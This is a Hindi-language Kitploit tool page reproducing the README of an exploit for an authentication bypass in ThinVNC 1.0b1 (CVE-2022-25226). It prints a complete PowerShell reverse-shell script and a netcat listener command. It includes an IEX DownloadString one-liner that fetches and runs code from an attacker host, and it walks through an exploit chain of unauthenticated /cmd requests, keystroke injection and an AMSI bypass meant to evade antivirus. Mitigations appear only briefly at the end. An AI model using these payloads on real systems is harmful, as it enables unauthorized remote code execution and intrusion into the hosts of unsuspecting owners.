Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/krill-x7/cve-2022-25226
शोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोलप्रमाणीकरणलर्निंग और शिक्षारिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubkrill-x7/cve-2022-25226

CVE-2022-25226

# ThinVNC 1.0b1 प्रमाणीकरण बाईपास (CVE-2022-25226) के लिए Python शोषण स्क्रिप्ट यह स्क्रिप्ट ThinVNC 1.0b1 में प्रमाणीकरण बाईपास का फायदा उठाती है, जो बिना प्रमाणीकरण के `/cmd` एंडपॉइंट एक्सेस को AMSI बाईपास और क्लिपबोर्ड इंजेक्शन के साथ जोड़कर रिवर्स शेल प्रदान करती है।

रिपॉजिटरी देखें
171 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ThinVNC 1.0b1 - प्रमाणीकरण बाइपास से रिमोट कोड एक्ज़ीक्यूशन (CVE-2022-25226)

लेखक: krill-x7
संदर्भ: https://fluidattacks.com/advisories/sinatra


अवलोकन

ThinVNC 1.0b1 में एक प्रमाणीकरण बाइपास भेद्यता (CVE-2022-25226) मौजूद है जो रिमोट हमलावरों को बिना प्रमाणीकरण के बैकएंड के साथ इंटरैक्ट करने की अनुमति देती है। एक्सपोज़्ड /cmd एंडपॉइंट्स का लाभ उठाकर, हमलावर कीस्ट्रोक्स का अनुकरण कर सकते हैं, PowerShell खोल सकते हैं, AMSI को बाइपास कर सकते हैं, और मनमाने कमांड निष्पादित कर सकते हैं—जो अंततः रिमोट कोड एक्ज़ीक्यूशन (RCE) की ओर ले जाता है।

यह स्क्रिप्ट उन प्राइमिटिव्स को जोड़कर लक्षित सिस्टम पर रिवर्स शेल प्राप्त करती है।


अस्वीकरण

यह कोड केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
इसे केवल उन सिस्टम्स पर उपयोग करें जिनके आप स्वामी हैं या जिन्हें परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।


आवश्यकताएँ

  • Python 3
  • आपके हमलावर मशीन पर होस्ट किया गया rev.ps1 रिवर्स शेल स्क्रिप्ट
  • शेल को पकड़ने के लिए एक लिसनर (जैसे, Netcat)

उपयोग

python3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>

उदाहरण

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

पेलोड सेटअप

1. rev.ps1 बनाएँ

इसे rev.ps1 नामक फ़ाइल में सहेजें।
महत्वपूर्ण: 192.168.1.200 और 8000 को अपने हमलावर के IP और लिसनिंग पोर्ट से बदलें।

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

2. rev.ps1 होस्ट करें

उसी डायरेक्टरी से:

python3 -m http.server 8000

3. एक लिसनर शुरू करें

nc -lvnp 8000

एक्सप्लॉइट वर्कफ़्लो

  1. /cmd?cmd=connect पर बिना प्रमाणीकरण के अनुरोध भेजकर एक वैध SID प्राप्त करें।
  2. /cmd?cmd=start के माध्यम से उस SID को कीबोर्ड/माउस एक्सेस के साथ शुरू करें।
  3. स्टार्ट मेनू खोलने के लिए Ctrl+Esc की कॉम्बिनेशन भेजें।
  4. बाइपास मोड में PowerShell लॉन्च करें।
  5. PowerShell सुरक्षाओं को अक्षम करने के लिए AMSI बाइपास करें।
  6. अपने HTTP सर्वर से रिवर्स शेल पेलोड निष्पादित करें।

पेलोड एक्ज़ीक्यूशन

यह वह पेलोड है जो मेमोरी में निष्पादित होता है:

IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))

<ATTACKER_IP> और <PORT> को अपने वास्तविक IP और पोर्ट से बदलें।


नोट्स

  • पेलोड क्लिपबोर्ड-आधारित कमांड इंजेक्शन का उपयोग करके निष्पादित किया जाता है।
  • PowerShell-आधारित AV डिटेक्शन से बचने के लिए AMSI बाइपास शामिल किया गया है।
  • ThinVNC PowerShell को डिफ़ॉल्ट उपयोगकर्ता अनुमतियों के साथ चलाता है—यदि यह एडमिन के रूप में चल रहा है, तो शेल एलिवेटेड होगा।

शमन (Mitigations)

  • ThinVNC को इंटरनेट पर एक्सपोज़ न करें।
  • वेब सर्वर कॉन्फ़िगरेशन या WAF के माध्यम से /cmd एंडपॉइंट को ब्लॉक करें।
  • समर्थित, सुरक्षित विकल्पों पर स्विच करें (जैसे, Apache Guacamole)।
  • PowerShell उपयोग और क्लिपबोर्ड इंजेक्शन व्यवहार की निगरानी करें।

श्रेय

  • एक्सप्लॉइट और स्वचालन: krill-x7
  • भेद्यता खोज और सलाह: Fluid Attacks – Advisory Sinatra
टूल डाउनलोड करें